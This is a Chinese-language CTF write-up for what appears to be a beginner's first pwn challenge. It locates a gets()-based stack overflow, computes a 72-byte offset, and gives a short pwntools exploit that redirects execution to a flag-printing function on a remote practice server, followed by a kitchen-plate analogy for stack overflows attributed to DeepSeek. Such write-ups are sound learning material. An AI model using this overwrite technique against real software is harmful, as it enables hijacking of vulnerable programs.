首先,观察题目并下载相关文件。
将文件拖入PE分析工具中,发现其为64位程序,
随后在IDA64中打开文件并发现存在gets
函数调用,这通常意味着程序可能存在栈溢出漏洞。
接着,定位到main
函数进行反编译,发现其中包含字符串“cat flag”,这提示了我们可能需要执行一个命令来获取flag。
再查看v5的位置,发现离返回地址的距离是0x40 + 8。接下来,检查v5
的内存位置,发现它与返回地址之间的偏移量为0x40 + 8。
最后,根据这个信息构造漏洞利用代码(exp),成功获取flag。
from pwn import *
p = remote('node5.buuoj.cn',26331)
payload = b'a' * 72 + p64(0x40060d)
p.sendline(payload)
p.interactive()
另外再附加一点小感想:
这是我做的第一道pwn的题目,但实则我在去年就接触二进制了,不得不说pwn相对逆向来说要难理解,但是最近deepseek大热,我也跟风问了deepseek一个问题,让他用类比的方法为我讲解pwn的原理,它是这样回我的:
场景:厨房的盘子架
想象你有一个专门用来临时存放盘子的架子(栈)。它的规则是:
-
后进先出:每次洗好的盘子(函数调用)会叠在最上面,用的时候从最上面拿。
-
固定高度:架子只能放 10 个盘子(栈的固定内存空间)。
-
标签功能:每叠一个盘子,服务员会在盘子边缘贴一张便利贴(返回地址),记录“这个盘子用完要放回哪里”(比如“主厨的桌子”)。
正常流程
-
叠盘子:每洗一个盘子(函数执行),就叠在架子上。
-
用盘子:当需要取盘子时(函数返回),从最上面拿,并查看便利贴(返回地址)把它送回正确的位置。
栈溢出攻击:恶意操作
假设一个坏人(攻击者)故意洗了 15 个盘子,强行叠到架子上:
-
超出容量:架子只能放 10 个盘子,但坏人硬塞了 15 个。
-
覆盖便利贴:第 11~15 个盘子压坏了原本贴在架子上的便利贴(覆盖返回地址)。
-
篡改指令:坏人在第 11 个盘子偷偷贴上自己的便利贴,写着“送到后门垃圾桶”(恶意代码地址)。
结果
当厨房按规则取盘子时:
-
看到最顶层的便利贴是“送到后门垃圾桶”,于是真的把盘子(程序控制权)送到了那里。
-
坏人就能从垃圾桶里拿到盘子(执行恶意代码),比如偷走食物或搞破坏。
关键点
-
容量限制:栈的大小固定,但程序可能忘记检查输入数据的长度(比如用户输入超出预期)。
-
后进先出结构:溢出的数据会从栈顶“倒灌”,覆盖关键信息(如返回地址)。
-
恶意利用:攻击者通过溢出数据,将返回地址篡改为自己设计的恶意地址。
下次看到“栈溢出”,就想象一个被恶意塞爆的盘子架,便利贴被偷偷改掉的样子吧! 🍽️💥
我觉得讲的很好在此也分享一下